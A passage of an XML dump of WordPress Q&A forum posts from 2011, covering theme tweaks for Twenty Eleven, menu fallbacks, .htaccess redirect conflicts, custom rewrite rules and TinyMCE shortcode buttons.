LastActivityDate="2011-08-07T12:08:53.733" CommentCount="1" />
  <row Id="25213" PostTypeId="1" CreationDate="2011-08-07T12:09:26.447" Score="0" ViewCount="22" Body="&lt;p&gt;Is it possible to change the image in the default theme 'Twenty Eleven'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, how is this done?&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-07T12:15:38.153" Title="Is it possible to change the image in the default theme 'Twenty Eleven'?" Tags="&lt;theme-twenty-eleven&gt;" AnswerCount="1" />
  <row Id="25214" PostTypeId="2" ParentId="25213" CreationDate="2011-08-07T12:15:38.153" Score="2" ViewCount="" Body="&lt;p&gt;Just replace the default header image, under images/headers/path.jpg in your theme folder.&lt;/p&gt;&#xA;" OwnerUserId="5778" LastActivityDate="2011-08-07T12:15:38.153" CommentCount="2" />
  <row Id="25215" PostTypeId="1" CreationDate="2011-08-07T12:18:29.463" Score="0" ViewCount="20" Body="&lt;p&gt;I want to add a list of my social media pages. What ways are there to do this? Are there widgets designed for this?&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-07T15:18:01.023" Title="Adding a list of social media links" Tags="&lt;facebook&gt;" AnswerCount="3" />
  <row Id="25216" PostTypeId="2" ParentId="25204" CreationDate="2011-08-07T12:29:09.463" Score="1" ViewCount="" Body="&lt;p&gt;you can set the &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;permalinks&lt;/a&gt; to &lt;code&gt;%postname%&lt;/code&gt;, however this would change the permalinks for the whole site;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you can set the individual page permalink, which is normally derived from the page title, when you edit the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw: pages don't have a category base.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-07T12:29:09.463" />
  <row Id="25217" PostTypeId="1" CreationDate="2011-08-07T13:08:54.177" Score="0" ViewCount="29" Body="&lt;p&gt;Would that be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I need something which will enable me to edit files directly at the server...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help would be much appreciated....&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2011-08-07T21:54:55.693" Title="I want to edit documents on my blog without the need to download and upload files again" Tags="&lt;attachments&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="25218" PostTypeId="2" ParentId="25215" CreationDate="2011-08-07T13:18:10.500" Score="0" ViewCount="" Body="&lt;p&gt;Use a menu, which is designed for listing links: Admin-&gt;Appearance-&gt;Menus.  Then add that menu to your sidebar with the menu widget: Admin-&gt;Appearance-&gt;Widgets.&lt;/p&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-07T13:18:10.500" />
  <row Id="25219" PostTypeId="2" ParentId="25217" CreationDate="2011-08-07T13:18:46.443" Score="0" ViewCount="" Body="&lt;p&gt;Why don't you use ftp?. Just use editors like dreamweaver, phpdesigner and there are many more editors available. You can download 30 day free trial. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;List of php editors &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_PHP_editors&quot; rel=&quot;nofollow&quot;&gt;available here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend &lt;a href=&quot;http://www.notepad-plus-plus.org/&quot; rel=&quot;nofollow&quot;&gt;notepad++&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5074" LastEditorUserId="5074" LastEditorDisplayName="" LastEditDate="2011-08-07T13:26:19.413" LastActivityDate="2011-08-07T13:26:19.413" CommentCount="1" />
  <row Id="25220" PostTypeId="2" ParentId="25211" CreationDate="2011-08-07T13:38:42.570" Score="4" ViewCount="" Body="&lt;p&gt;I would create a Theme Option for &lt;em&gt;Color Scheme&lt;/em&gt;, then split out the color-scheme-specific CSS declarations into separate CSS files (e.g. &lt;code&gt;blue.css&lt;/code&gt;, &lt;code&gt;green.css&lt;/code&gt;, &lt;code&gt;red.css&lt;/code&gt;, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you simply enqueue the appropriate color-schme stylesheet, based on the Theme Option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_enqueue_color_scheme_stylesheet() {&#xA;    $theme_options = get_option( 'theme_mytheme_options' );&#xA;    $colorscheme = $theme_options['color_scheme'];&#xA;    $stylesheet = $colorscheme . '.css';&#xA;    $stylesheetsrc = get_template_directory_uri() . '/css/' . $stylesheet;&#xA;    wp_enqueue_style( 'colorscheme', $stylesheetsrc );&#xA;}&#xA;add_action( 'wp_enqueue_scripts', 'mytheme_enqueue_color_scheme_stylesheet' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-07T13:38:42.570" />
  <row Id="25221" PostTypeId="2" ParentId="24989" CreationDate="2011-08-07T14:09:54.760" Score="0" ViewCount="" Body="&lt;p&gt;Quick search shows that related part of form is generated by &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-admin/includes/template.php#L516&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;meta_form()&lt;/code&gt;&lt;/a&gt; function. Start from there I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that you will need to retrieve from source and submit &lt;a href=&quot;http://codex.wordpress.org/WordPress_Nonces&quot; rel=&quot;nofollow&quot;&gt;nonce&lt;/a&gt; that protects that form. I am not sure if submitting single field invalidates the nonce there, but that also might be the case.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-07T14:09:54.760" CommentCount="1" />
  <row Id="25222" PostTypeId="1" CreationDate="2011-08-07T14:21:27.640" Score="0" ViewCount="39" Body="&lt;p&gt;This one is driving me mad! Pagination does not work in that it was displaying the same set of products on every page - now after resaving permalinks (twice as recommended) clicking on page 2 results in the message &quot;There are no products in this group.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done everything advised - resaving permalinks, activating and deactivating WPEC,  disabling WP Total Cache etc - nothing works (can't find a lot of help out there including on the WPEC forum) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next shop will be built using a different plugin!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7707" LastActivityDate="2011-08-07T14:21:27.640" Title="WP Ecommerce, Gold Cart and pagination" Tags="&lt;wp-ecommerce&gt;" />
  <row Id="25223" PostTypeId="1" CreationDate="2011-08-07T14:31:58.363" Score="2" ViewCount="78" Body="&lt;p&gt;I just realized the fallback doesn't work for my project when a custom menu doesn't exist.  I can't figure out what I am missing.  Here is the code that displays the nav menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = wp_nav_menu(&#xA;   array(&#xA;      'menu_class' =&amp;gt; 'reset sf-menu',&#xA;      'container_id'=&amp;gt;'nav',&#xA;      'echo'=&amp;gt;0&#xA;   )&#xA;);&#xA;&#xA;$menu = str_replace(&quot;\n&quot;, &quot;&quot;, $menu);&#xA;$menu = str_replace(&quot;\r&quot;, &quot;&quot;, $menu);&#xA;$menu = str_replace(&quot;\t&quot;, &quot;&quot;, $menu);&#xA;echo $menu;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is the test site: &lt;a href=&quot;http://brainbuzzmedia.com/themes/amplify/styles/charcoal/&quot; rel=&quot;nofollow&quot;&gt;http://brainbuzzmedia.com/themes/amplify/styles/charcoal/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7708" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-07T14:53:51.957" LastActivityDate="2011-08-08T01:34:29.320" Title="WP_nav_menu fallback not working" Tags="&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="25224" PostTypeId="2" ParentId="25223" CreationDate="2011-08-07T14:55:46.680" Score="2" ViewCount="" Body="&lt;p&gt;You've not added a &lt;code&gt;fallback_cb&lt;/code&gt; key to the argument array. You also need to add a &lt;code&gt;theme_location&lt;/code&gt; key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php start $menu = wp_nav_menu(&#xA;   array(&#xA;      'menu_class' =&amp;gt; 'reset sf-menu',&#xA;      'container_id'=&amp;gt;'nav',&#xA;      'echo'=&amp;gt;0,&#xA;      'fallback_cb' =&amp;gt; 'mytheme_fallback_function' // ADD ME!!!&#xA;      'theme_location' =&amp;gt; `location_name` // ADD ME, AS DEFINED IN register_nav_menu()&#xA;   )&#xA;);&#xA;&#xA;$menu = str_replace(&quot;\n&quot;, &quot;&quot;, $menu);&#xA;$menu = str_replace(&quot;\r&quot;, &quot;&quot;, $menu);&#xA;$menu = str_replace(&quot;\t&quot;, &quot;&quot;, $menu);&#xA;echo $menu;&#xA;php end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternately, you could wrap your code in an &lt;code&gt;if ( has_nav_menu( 'location_name' ) )&lt;/code&gt; conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_nav_menu( 'location_name' ) ) {&#xA;    echo $menu;&#xA;} else {&#xA;    // Do something else, like wp_list_pages() or wp_page_menu()&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-08T01:34:29.320" LastActivityDate="2011-08-08T01:34:29.320" CommentCount="4" />
  <row Id="25225" PostTypeId="2" ParentId="25215" CreationDate="2011-08-07T15:11:05.010" Score="0" ViewCount="" Body="&lt;p&gt;There are a couple of ways to do this. You can do as Chris Carson suggested and manually add them as a text menu. You can also make a text widget and use icons with links to the various services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for something a little more robust, there's also a couple plugins and related services, such as AddThis, that do the icon and linking work for you and also let you track hit counts and such if you sign up for their free services.&lt;/p&gt;&#xA;" OwnerUserId="7550" LastActivityDate="2011-08-07T15:11:05.010" />
  <row Id="25226" PostTypeId="2" ParentId="25215" CreationDate="2011-08-07T15:18:01.023" Score="0" ViewCount="" Body="&lt;p&gt;I highly recommend you to use wordpress &lt;a href=&quot;http://wordpress.org/extend/plugins/share-this/&quot; rel=&quot;nofollow&quot;&gt;sharethis&lt;/a&gt; plugin. Because it has more features. Check &lt;a href=&quot;http://wordpress.org/extend/plugins/share-this/screenshots/&quot; rel=&quot;nofollow&quot;&gt;these screenshots&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-07T15:18:01.023" />
  <row Id="25227" PostTypeId="1" AcceptedAnswerId="25231" CreationDate="2011-08-07T15:55:54.890" Score="0" ViewCount="26" Body="&lt;p&gt;I have a non-Wordpress site , &lt;strong&gt;www.example.com&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For canonicalization purposes I have this in .htaccess :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options +FollowSymLinks&#xA;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} !^www\.example\.com$&#xA;RewriteRule (.*) http://www.example.com/$1 [R=301,L]   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way all non-www links will be redirected to www version of site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently I decided to attach a wordpress blog at &lt;strong&gt;www.example.com/blog&lt;/strong&gt; . After the installation is complete, whenever I go to &lt;strong&gt;www.example.com/blog&lt;/strong&gt; I get 404 - Page not found error. I tried both auto install with Fantastico and a manual install, with the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out that when I remove the piece of code above from my .htaccess it fixes the problem, and wordpress installation is accessable and usable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to keep the the original htaccess settings, for SEO purposes. I tried to change url version in wordpress General Settings and then restore main site htaccess file - it would still break the wordpress and 404 is back again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to add next code in wp-config.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME','http://www.example.com/blog');&#xA;define('WP_SITEURL','http://www.example.com/blog');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It didn't fixed the problem either...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand it has something to do with htaccess. I also notices that there is no htaccess file in wordpress folder, probably due to the fact that I haven't changed permalinks settings yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any help on this matter!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: I just noticed that &lt;strong&gt;www.example.com/blog/wp-login.php&lt;/strong&gt; is visible regardless of htaccess config, however after I log in it brings me to 404 page again :(&lt;/p&gt;&#xA;" OwnerUserId="7710" LastEditorUserId="7710" LastEditorDisplayName="" LastEditDate="2011-08-07T16:16:46.593" LastActivityDate="2011-08-07T17:50:14.700" Title="New installation can't be found due to htaccess of the original non-Wordpress site" Tags="&lt;htaccess&gt;" AnswerCount="2" CommentCount="8" />
  <row Id="25228" PostTypeId="2" ParentId="25227" CreationDate="2011-08-07T16:04:06.743" Score="0" ViewCount="" Body="&lt;p&gt;You don't need that code. WordPress itself handles redirects to canonical URLs. Just set it up to have the www address in Settings-&gt;General and it will redirect the traffic without your htaccess rules.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-07T16:04:06.743" CommentCount="1" />
  <row Id="25230" PostTypeId="2" ParentId="25223" CreationDate="2011-08-07T16:07:05.477" Score="0" ViewCount="" Body="&lt;p&gt;wp_nav_menu falls back to the wp_page_menu function. Do you have any pages defined?&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-07T16:07:05.477" CommentCount="1" />
  <row Id="25231" PostTypeId="2" ParentId="25227" CreationDate="2011-08-07T17:50:14.700" Score="1" ViewCount="" Body="&lt;p&gt;As per @Milo, I'm adding my comment above as an answer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try going to &lt;code&gt;example.com/blog/wp-admin/options-permalink.php&lt;/code&gt;. That should work, because the php file actually exists. If so, try updating your permalink options to a friendly version, like &quot;Day and name&quot;. This will put a new &lt;code&gt;.htaccess&lt;/code&gt; in the blog directory -- I'm thinking that that new &lt;code&gt;.htaccess&lt;/code&gt; will override the one in the parent directory.&lt;/p&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-07T17:50:14.700" />
  <row Id="25232" PostTypeId="1" CreationDate="2011-08-07T18:38:22.880" Score="-2" ViewCount="125" Body="&lt;p&gt;How do I alter the CSS of Twenty Eleven so that all the body text in posts and on pages is bigger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And is the change I make for this in the files on my server, or through the browser in the Admin login of my WordPress account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If there's a better way to alter the text size than altering the CSS, then what is that?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-07T19:10:42.173" Title="Changing CSS in Twenty Eleven to change font size of body text" Tags="&lt;css&gt;" AnswerCount="2" />
  <row Id="25233" PostTypeId="1" CreationDate="2011-08-07T18:44:53.683" Score="0" ViewCount="38" Body="&lt;p&gt;In theme Twenty Eleven, do the default images rotate randomly, or with some sequence?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see, I think it's random, but there might be some pattern/sequence that I didn't notice.&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-07T19:02:42.777" Title="In theme Twenty Eleven, do the default images rotate randomly?" Tags="&lt;theme-twenty-eleven&gt;" AnswerCount="2" />
  <row Id="25234" PostTypeId="1" AcceptedAnswerId="25238" CreationDate="2011-08-07T18:58:18.400" Score="1" ViewCount="28" Body="&lt;p&gt;I'm facing a design, that has two titles. I have no clue how can I two titles in wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell: Creating a page, there you can set the title. How can I have two titles there? Or similar effect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/88INm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7712" LastActivityDate="2011-08-07T19:08:31.420" Title="How can I have two content titles?" Tags="&lt;pages&gt;" AnswerCount="1" />
  <row Id="25235" PostTypeId="2" ParentId="25233" CreationDate="2011-08-07T18:59:47.837" Score="0" ViewCount="" Body="&lt;p&gt;the header image is picked at random; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;see this line in /wp-includes/theme.php line 1476:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$random_image = array_rand( $headers );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;out of interest: why are you asking, and what difference would it make?&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-07T18:59:47.837" CommentCount="1" />
  <row Id="25236" PostTypeId="2" ParentId="25233" CreationDate="2011-08-07T19:02:42.777" Score="0" ViewCount="" Body="&lt;p&gt;Random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_header_image&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_header_image()&lt;/code&gt;&lt;/a&gt; uses &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_random_header_image&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_random_header_image()&lt;/code&gt;&lt;/a&gt; to check if you hadn't selected specific image and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_random_header_image&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_random_header_image()&lt;/code&gt;&lt;/a&gt; to retrieve header if true.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-07T19:02:42.777" />
  <row Id="25237" PostTypeId="1" CreationDate="2011-08-07T19:06:41.567" Score="-1" ViewCount="151" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/25232/changing-css-in-twenty-eleven-to-change-font-size-of-body-text&quot;&gt;Changing CSS in Twenty Eleven to change font size of body text&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;In theme Twenty Eleven, how do I change the colour of the menu bar and menu texts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to make the menu texts black and the bar light in color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-07T19:06:41.567" ClosedDate="2011-08-07T19:12:41.770" Title="In theme Twenty Eleven, how do I change the colour of the menu bar and menu texts?" Tags="&lt;theme-twenty-eleven&gt;" CommentCount="1" />
  <row Id="25238" PostTypeId="2" ParentId="25234" CreationDate="2011-08-07T19:08:31.420" Score="3" ViewCount="" Body="&lt;p&gt;Strictly speaking title is column in posts database table so it is not easy (or makes sense) to add one more title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is trivial to emulate by using &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;custom field&lt;/a&gt; to store additional title (or anything else).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-07T19:08:31.420" CommentCount="3" />
  <row Id="25239" PostTypeId="2" ParentId="25232" CreationDate="2011-08-07T19:10:09.617" Score="1" ViewCount="" Body="&lt;p&gt;for a list of possible styles to change any font sizes, see style.css of Twenty Eleven, from line 2358:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (max-width: 650px) {&#xA;    /* @media (max-width: 650px) Reduce font-sizes for better readability on smaller devices */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;changing this one might be sufficient to change size of general body texts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body, input, textarea {&#xA;    font-size: 16px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ideally, you make these changes to style.css of a &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;child theme&lt;/a&gt;, possibly using the &lt;strong&gt;&lt;em&gt;appearance -&gt; editor&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-07T19:10:09.617" />
  <row Id="25240" PostTypeId="2" ParentId="25232" CreationDate="2011-08-07T19:10:42.173" Score="2" ViewCount="" Body="&lt;p&gt;Yep, this is purely CSS tweak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Twenty Eleven is hosted in official repository and is maintained. Its updates will overwrite any changes you make to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should look into creating &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;child theme&lt;/a&gt; for your modifications.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-07T19:10:42.173" />
  <row Id="25241" PostTypeId="1" CreationDate="2011-08-07T19:10:45.717" Score="1" ViewCount="169" Body="&lt;p&gt;Yet another URL rewrite issue :)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have a URL rewrite rule that should work, but against all logic it redirects without passing the query var.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Juicy Details&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The site has a page structure set up like so:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;/our-firm/shareholders&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and I have a Custom Post Type named &quot;&lt;em&gt;shareholder&lt;/em&gt;.&quot; My goal is to have the structure work like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;/our-firm/shareholders/awesome-shareholder-name&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...and for the Shareholders page to do a custom query for the Shareholder posts. I normally would use the rewrite slug for the Shareholder posts, but I want the content to be shown in the context of the original Page structure (&lt;strong&gt;our-firm/shareholders&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to achieve that, I added this code in functions.php (and have since gone to Permalinks and saved to refresh the rules):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'my_custom_rewrites' );&#xA;function my_custom_rewrites(){&#xA;    add_rewrite_rule(&#xA;        'our-firm/shareholders/([^/]+)/?',&#xA;        'index.php?pagename=shareholders&amp;amp;shareholder_name=$matches[1]',&#xA;        'top' );&#xA;}&#xA;&#xA;add_filter( 'query_vars', 'my_custom_query_vars' );&#xA;function my_custom_query_vars( $query_vars ){&#xA;    $query_vars[] = 'shareholder_name';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All that in place, if I go to &lt;strong&gt;/our-firm/shareholders/awesome-shareholder-name&lt;/strong&gt; it redirects me to the Shareholders page without passing the query var and actually changes the URL to &lt;strong&gt;/our-firm/shareholders/&lt;/strong&gt;. The weird part is if I change the redirect pagename to anything else, it works and effortlessly passes the query var along. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further test it, I used the handy Rewrite Analyzer plugin and got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/95Oc&quot; rel=&quot;nofollow&quot;&gt;Rewrite Analyzer Test Screenshot&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Additional Notes&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I am running WP &lt;strong&gt;3.2.1&lt;/strong&gt;, testing locally, and have not fiddled with .htaccess&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My Shareholders Page template isn't doing anything unusual, but let me know if you need to see it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Does Wordpress take into account the label of a Custom Post Type when figuring out URLs?&lt;/em&gt; The plural label of &quot;shareholder&quot; is, naturally, &quot;Shareholders.&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am adding the &quot;shareholder&quot; CPT via the &lt;strong&gt;Custom Post Type UI&lt;/strong&gt; plugin. I can manually add it with code if anyone feels that would help. These are the CPT settings:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;rewrite = true, slug = 'shareholder', with_front = true, query var = true, and hierarchical = true.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I previously had the &quot;shareholder&quot; post type ID as &quot;shareholders,&quot; then quickly realized that would cause issues being the same name as the page I was attempting to redirect to. I then changed the post type to &quot;shareholder,&quot; which unfortunately didn't resolve the issue. &lt;em&gt;Could the fact that there one was a post type of &quot;shareholders&quot; be affecting this?&lt;/em&gt;&#xA;Maybe there's a secret magical cache somewhere that I could clear out...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I know there are at least 5 bajillion WP URL rewrite posts across the web, but I can't seem to find one that pertains to my specific issue. Sorry if I missed one :)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm at my wit's end – I &lt;em&gt;know&lt;/em&gt; that this should work, but it doesn't. Hopefully I missed something painfully obvious and it's an easy fix. Please let me know if I can provide any more details/code/etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="7672" LastEditorUserId="7672" LastEditorDisplayName="" LastEditDate="2011-08-07T20:00:40.863" LastActivityDate="2011-08-10T19:01:33.220" Title="URL Rewrite + Page + Custom Post Type = Unusual Redirect" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;urls&gt;&lt;rewrite-rules&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="25242" PostTypeId="2" ParentId="1463" CreationDate="2011-08-07T19:22:39.287" Score="0" ViewCount="" Body="&lt;p&gt;The recently released &lt;a href=&quot;http://wordpress.org/extend/plugins/image-pro-wordpress-image-media-management-and-resizing-done-right/&quot; rel=&quot;nofollow&quot;&gt;Image Pro&lt;/a&gt; plugin seems to do exactly this. Hadn't tested myself yet, demo looks very impressive, note poor browser compatibility (Firefox-only at moment).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-07T19:22:39.287" />
  <row Id="25243" PostTypeId="1" AcceptedAnswerId="25246" CreationDate="2011-08-07T19:35:56.153" Score="0" ViewCount="49" Body="&lt;p&gt;if i follow the tutorials on how to add tinyMCE buttons for shortcodes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;( for instance: &lt;a href=&quot;http://www.garyc40.com/2010/03/how-to-make-shortcodes-user-friendly/&quot; rel=&quot;nofollow&quot;&gt;http://www.garyc40.com/2010/03/how-to-make-shortcodes-user-friendly/&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if i create a button that launches a form in a thickbox there is always this bit of code to create the launched form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// executes this when the DOM is ready&#xA;    jQuery(function(){&#xA;        // creates a form to be displayed everytime the button is clicked&#xA;        // you should achieve this using AJAX instead of direct html code like this&#xA;        var form = jQuery('&amp;lt;div id=&quot;kiaAWeber-form&quot;&amp;gt;&amp;lt;table id=&quot;mygallery-table&quot; class=&quot;form-table&quot;&amp;gt;\&#xA;            &amp;lt;tr&amp;gt;\&#xA;                &amp;lt;th&amp;gt;&amp;lt;label for=&quot;mygallery-columns&quot;&amp;gt;Columns&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;\&#xA;                &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;mygallery-columns&quot; name=&quot;columns&quot; value=&quot;3&quot; /&amp;gt;&amp;lt;br /&amp;gt;\&#xA;                &amp;lt;small&amp;gt;specify the number of columns.&amp;lt;/small&amp;gt;&amp;lt;/td&amp;gt;\&#xA;            &amp;lt;/tr&amp;gt;\&#xA;&#xA;        &amp;lt;/table&amp;gt;\&#xA;        &amp;lt;p class=&quot;submit&quot;&amp;gt;\&#xA;            &amp;lt;input type=&quot;button&quot; id=&quot;mygallery-submit&quot; class=&quot;button-primary&quot; value=&quot;Insert Gallery&quot; name=&quot;submit&quot; /&amp;gt;\&#xA;        &amp;lt;/p&amp;gt;\&#xA;        &amp;lt;/div&amp;gt;');&#xA;&#xA;        var table = form.find('table');&#xA;        form.appendTo('body').hide();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but i am curious about this  part in particular :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;// you should achieve this using AJAX instead of direct html code like 